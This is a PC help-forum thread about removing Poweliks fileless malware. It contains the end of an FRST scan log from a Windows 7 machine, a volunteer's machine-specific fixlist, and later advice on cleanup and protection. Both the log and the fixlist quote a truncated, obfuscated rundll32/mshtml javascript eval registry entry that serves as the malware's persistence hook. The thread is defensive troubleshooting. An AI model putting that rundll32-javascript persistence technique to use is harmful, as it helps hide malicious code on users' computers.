Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
My Dell (HKLM\...\PC-Doctor for Windows) (Version: 3.5.6426.22 - PC-Doctor, Inc.)
Qualcomm Atheros Bluetooth Suite (64) (HKLM\...\{A84A4FB1-D703-48DB-89E0-68B6499D2801}) (Version: 8.0.1.230 - Qualcomm Atheros Communications)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 6.2.9200.30164 - Realtek Semiconductor Corp.)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7004 - Realtek Semiconductor Corp.)
Shared C Run-time for x64 (HKLM\...\{EF79C448-6946-4D71-8134-03407888C054}) (Version: 10.0.0 - McAfee)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)

==================== Custom CLSID (selected items): ==========================

(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)

CustomCLSID: HKU\S-1-5-21-393944708-137268486-1877606601-1000_Classes\CLSID\{820D63D5-8CFF-46DE-86AF-4997DEDD6DB5}\localserver32 -> C:\Windows\system32\igfxEM.exe (Intel Corporation)
CustomCLSID: HKU\S-1-5-21-393944708-137268486-1877606601-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks?

==================== Restore Points  =========================

07-01-2015 14:42:13 Windows Update

==================== Hosts content: ==========================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2009-07-13 20:34 - 2009-06-10 15:00 - 00000824 ____A C:\Windows\system32\Drivers\etc\hosts

==================== Scheduled Tasks (whitelisted) =============

(If an entry is included in the fixlist, it will be removed from registry. Any associated file could be listed separately to be moved.)

Task: {3C6683BE-2AD8-465C-AF2E-9EFBFCC52432} - System32\Tasks\PCDEventLauncherTask => C:\Program Files\My Dell\sessionchecker.exe [2014-01-10] (PC-Doctor, Inc.)
Task: {837F1A0E-701D-46DF-B96E-28F045E4C91A} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2014-12-13] (Adobe Systems Incorporated)
Task: {B1F1F6A0-6077-447E-A39A-3AD9A04487FC} - System32\Tasks\SystemToolsDailyTest => uaclauncher.exe
Task: {CC18AD86-A21F-4B3A-AB49-6A9B2EACCA85} - System32\Tasks\PCDoctorBackgroundMonitorTask => C:\Program Files\My Dell\uaclauncher.exe [2014-01-10] (PC-Doctor, Inc.)
Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe

==================== Loaded Modules (whitelisted) =============

2014-08-20 12:16 - 2014-06-04 15:02 - 00020256 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Shell\DBROverlayIcon.dll
2014-08-20 12:16 - 2014-06-04 15:02 - 00019744 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Shell\DBROverlayNotBackuped.dll
2014-08-20 12:16 - 2014-06-04 15:03 - 00035104 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Shell\DBRShellExtension.dll
2011-08-26 05:15 - 2011-08-26 05:15 - 00179256 _____ () C:\ProgramData\HP Wi-Fi Touch Mouse Config\MaisyS.exe
2014-08-19 18:42 - 2014-10-03 17:36 - 00457616 _____ () C:\Windows\system32\igfxTray.exe
2014-09-18 13:37 - 2014-07-02 21:55 - 00487144 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Shell\DBRCrawler.exe
2014-11-24 11:39 - 2014-11-24 11:39 - 00155528 _____ () C:\Program Files (x86)\Dell Digital Delivery\ServiceTagPlusPlus.dll
2014-08-20 12:01 - 2013-12-09 16:27 - 01242584 _____ () C:\Program Files (x86)\Intel\Intel® Management Engine Components\LMS\ACE.dll
2014-09-18 13:37 - 2014-07-30 17:37 - 01906464 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Restore\STRestoreAPI.dll
2014-08-20 12:16 - 2012-11-25 22:19 - 01153384 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Restore\libxml2.dll
2014-09-18 13:37 - 2012-11-25 23:19 - 00117608 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Restore\zlib1.dll

==================== Alternate Data Streams (whitelisted) =========

(If an entry is included in the fixlist, only the Alternate Data Streams will be removed.)

AlternateDataStreams: C:\Users\Tommy\Documents\Fwd_ State of Louisiana Job Interest Card Notification.eml:OECustomProperty

==================== Safe Mode (whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\mcpltsvc => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mcpltsvc => ""=""

==================== EXE Association (whitelisted) =============

(If an entry is included in the fixlist, the default will be restored. None default entries will be removed.)

==================== MSCONFIG/TASK MANAGER disabled items =========

(Currently there is no automatic fix for this section.)

========================= Accounts: ==========================

Administrator (S-1-5-21-393944708-137268486-1877606601-500 - Administrator - Disabled)
Guest (S-1-5-21-393944708-137268486-1877606601-501 - Limited - Disabled)
Tommy (S-1-5-21-393944708-137268486-1877606601-1000 - Administrator - Enabled) => C:\Users\Tommy

==================== Faulty Device Manager Devices =============

==================== Event log errors: =========================

Application errors:
==================
Error: (01/09/2015 09:06:43 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bca28
Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9
Exception code: 0xc00000fd
Fault offset: 0x000a3d3c
Faulting process id: 0x31b8
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3

Error: (01/09/2015 07:20:16 AM) (Source: Application Hang) (EventID: 1002) (User: )
Description: The program IEXPLORE.EXE version 11.0.9600.17496 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Action Center control panel.

Process ID: 1eb8

Start Time: 01d02c0edd7963f7

Termination Time: 0

Application Path: C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Report Id:

Error: (01/08/2015 06:49:25 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: printfilterpipelinesvc.exe, version: 6.1.7600.16385, time stamp: 0x4a5bd419
Faulting module name: hpbxpsrender.dll, version: 0.3.7600.16385, time stamp: 0x511cf66c
Exception code: 0xc0000005
Fault offset: 0x00000000003c2516
Faulting process id: 0x4108
Faulting application start time: 0xprintfilterpipelinesvc.exe0
Faulting application path: printfilterpipelinesvc.exe1
Faulting module path: printfilterpipelinesvc.exe2
Report Id: printfilterpipelinesvc.exe3

Error: (01/08/2015 06:40:03 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: printfilterpipelinesvc.exe, version: 6.1.7600.16385, time stamp: 0x4a5bd419
Faulting module name: hpbxpsrender.dll, version: 0.3.7600.16385, time stamp: 0x511cf66c
Exception code: 0xc0000005
Fault offset: 0x00000000003c2516
Faulting process id: 0x1504
Faulting application start time: 0xprintfilterpipelinesvc.exe0
Faulting application path: printfilterpipelinesvc.exe1
Faulting module path: printfilterpipelinesvc.exe2
Report Id: printfilterpipelinesvc.exe3

Error: (01/08/2015 03:46:54 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bc8bf
Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9
Exception code: 0xc00000fd
Fault offset: 0x001202bc
Faulting process id: 0x323c
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3

Error: (01/08/2015 01:41:51 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bc6b7
Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9
Exception code: 0xc00000fd
Fault offset: 0x000a3849
Faulting process id: 0x276c
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3

Error: (01/08/2015 08:47:05 AM) (Source: Application Hang) (EventID: 1002) (User: )
Description: The program IEXPLORE.EXE version 11.0.9600.17496 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Action Center control panel.

Process ID: 3dc0

Start Time: 01d02b51d76f4b50

Termination Time: 47

Application Path: C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Report Id:

Error: (01/07/2015 03:11:12 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bc637
Faulting module name: Flash32_16_0_0_235.ocx, version: 16.0.0.235, time stamp: 0x546fbd8f
Exception code: 0xc0000005
Fault offset: 0x006a680a
Faulting process id: 0x10c8
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3

Error: (01/07/2015 09:45:20 AM) (Source: WinMgmt) (EventID: 10) (User: )
Description: //./root/CIMV2SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 990x80041003

Error: (01/06/2015 07:30:30 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 11.0.9600.17496, time stamp: 0x4a5bcbb9
Faulting module name: MSHTML.dll, version: 11.0.9600.17496, time stamp: 0x546ff2f9
Exception code: 0xc00000fd
Fault offset: 0x0011fb5c
Faulting process id: 0x1a3c
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3

System errors:
=============
Error: (01/09/2015 04:25:02 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Error: (01/09/2015 00:54:21 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Error: (01/09/2015 07:21:11 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Error: (01/08/2015 11:58:29 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Error: (01/08/2015 06:35:39 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Error: (01/08/2015 00:48:04 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Error: (01/08/2015 00:08:14 PM) (Source: Schannel) (EventID: 4119) (User: NT AUTHORITY)
Description: The following fatal alert was received: 20.

Error: (01/08/2015 10:32:04 AM) (Source: Microsoft Antimalware) (EventID: 2001) (User: )
Description: %NT AUTHORITY60 has encountered an error trying to update signatures.

 New Signature Version:

 Previous Signature Version: 1.191.1724.0

 Update Source: %NT AUTHORITY59

 Update Stage: 4.6.0305.00

 Source Path: 4.6.0305.01

 Signature Type: %NT AUTHORITY602

 Update Type: %NT AUTHORITY604

 User: NT AUTHORITY\SYSTEM

 Current Engine Version: %NT AUTHORITY605

 Previous Engine Version: %NT AUTHORITY606

 Error code: %NT AUTHORITY607

 Error description: %NT AUTHORITY608

Error: (01/07/2015 08:16:17 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Error: (01/07/2015 02:31:01 PM) (Source: BTHUSB) (EventID: 17) (User: )
Description: The local Bluetooth adapter has failed in an undetermined manner and will not be used. The driver has been unloaded.

Microsoft Office Sessions:
=========================

==================== Memory info ===========================

Processor: Intel® Core™ i5-4440 CPU @ 3.10GHz
Percentage of memory in use: 19%
Total physical RAM: 8108.95 MB
Available physical RAM: 6536.45 MB
Total Pagefile: 16216.08 MB
Available Pagefile: 13648.46 MB
Total Virtual: 8192 MB
Available Virtual: 8191.83 MB

==================== Drives ================================

Drive c: (Windows 7 Pro) (Fixed) (Total:911.69 GB) (Free:813.34 GB) NTFS
Drive y: (RECOVERY) (Fixed) (Total:19.78 GB) (Free:9.53 GB) NTFS ==>[System with boot components (obtained from reading drive)]

==================== MBR & Partition Table ==================

========================================================
Disk: 0 (MBR Code: Windows 7 or Vista) (Size: 931.5 GB) (Disk ID: 702CAD05)
Partition 1: (Not Active) - (Size=39 MB) - (Type=DE)
Partition 2: (Active) - (Size=19.8 GB) - (Type=07 NTFS)
Partition 3: (Not Active) - (Size=911.7 GB) - (Type=07 NTFS)

==================== End Of Log ============================


  • 0

#4
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
OK I can see the culprit, so lets clear it away. After the reboot from this one can you reset your IE security settings. This time they will hold


CAUTION : This fix is only valid for this specific machine, using it on another may break your computer

Open notepad and copy/paste the text in the quotebox below into it:
 

CreateRestorePoint:
HKU\S-1-5-21-393944708-137268486-1877606601-1000\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
BHO-x32: No Name -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> No File
2014-12-23 16:15 - 2014-12-23 16:15 - 00000064 _____ () C:\Users\Tommy\AppData\Local\9086ed19628b63613bd1dcaad423885c
CustomCLSID: HKU\S-1-5-21-393944708-137268486-1877606601-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks?
EmptyTemp:
CMD: bitsadmin /reset /allusers


Save this as fixlist.txt, in the same location as FRST.exe
FRSTfix.JPG
Run FRST and press Fix
On completion a log will be generated please post that

THEN

Download aswMBR.exe ( 4.5mb ) to your desktop.
Double click the aswMBR.exe to run it.
You may be offered the option of using virtualisation, accept that
When it offers to download the virus database allow that as well
Click the "Scan" button to start scan

AswMBR%20scan.JPG


On completion of the scan click save log, save it to your desktop and post in your next reply
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#5
tjmcs

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Here are the requested logs.

 

Sorry if they are attached instead of shown open. Unable to post them the same way I did the others.

Attached Files


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#6
Essexboy

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How is the computer now, did the setting for IE hold ?
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#7
tjmcs

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So far so good. Thanks. My virus scan showed nothing so I thought it was a Microsoft update or I was doing something wrong. Will watch and keep you informed.

 

joe


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#8
Essexboy

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Subject to no further problems :)

I will remove my tools now and give some recommendations, but, I would like you to run for 24 hours or so and come back if you have any problems

Now the best part of the day ----- Your log now appears clean :thumbsup:

A good workman always cleans up after himself so..The following will implement some cleanup procedures as well as reset System Restore points:

Remove tools

Download and run Delfix

delfix.JPG


: Keep Java Updated :

WARNING: Java is the #1 exploited program at this time. The Department of Homeland Security recommends that computer users disable Java
See this article

I would recommend that you completely uninstall Java unless you need it to run an important software.
In that instance I would recommend that you disable Java in your browsers until you need it for that software and then enable it. (See How to diasble Java in your web browser and How to unplug Java from the browser)

If you do need to keep Java then download JavaRa
Run the programme and select Remove Java Runtime. Uninstall all versions of Java present
Once done then run it again and select Update Java runtime > Download and install Latest version
javara.JPG


Now that you are clean, to help protect your computer in the future I recommend that you get the following free programmes:

CryptoPrevent install this programme to lock down and prevent crypto ransome ware

CryptoPrevent.JPG

Malwarebytes.

Update and run weekly to keep your system clean

Unchecky

Click on the link above to be taken to Unchecky.com
click the very large Download button.
click Save
Click Open folder
Right click on the Unchecky_setup and choose to Run as Administrator
Once open click the Install button.
Then click on Finish
Unchecky is now installed and will help you keep unwanted check boxes unchecked, this is a fire and forget programme ;)

It is critical to have both a firewall and anti virus to protect your system and to keep them updated.

To learn more about how to protect yourself while on the internet read this little guide Best security practices Keep safe :wave:
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#9
Essexboy

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Since this issue appears to be resolved ... this Topic has been closed. Glad we could help. :)

If you're the topic starter, and need this topic reopened, please contact a staff member with the address of the thread.

Everyone else please begin a New Topic.
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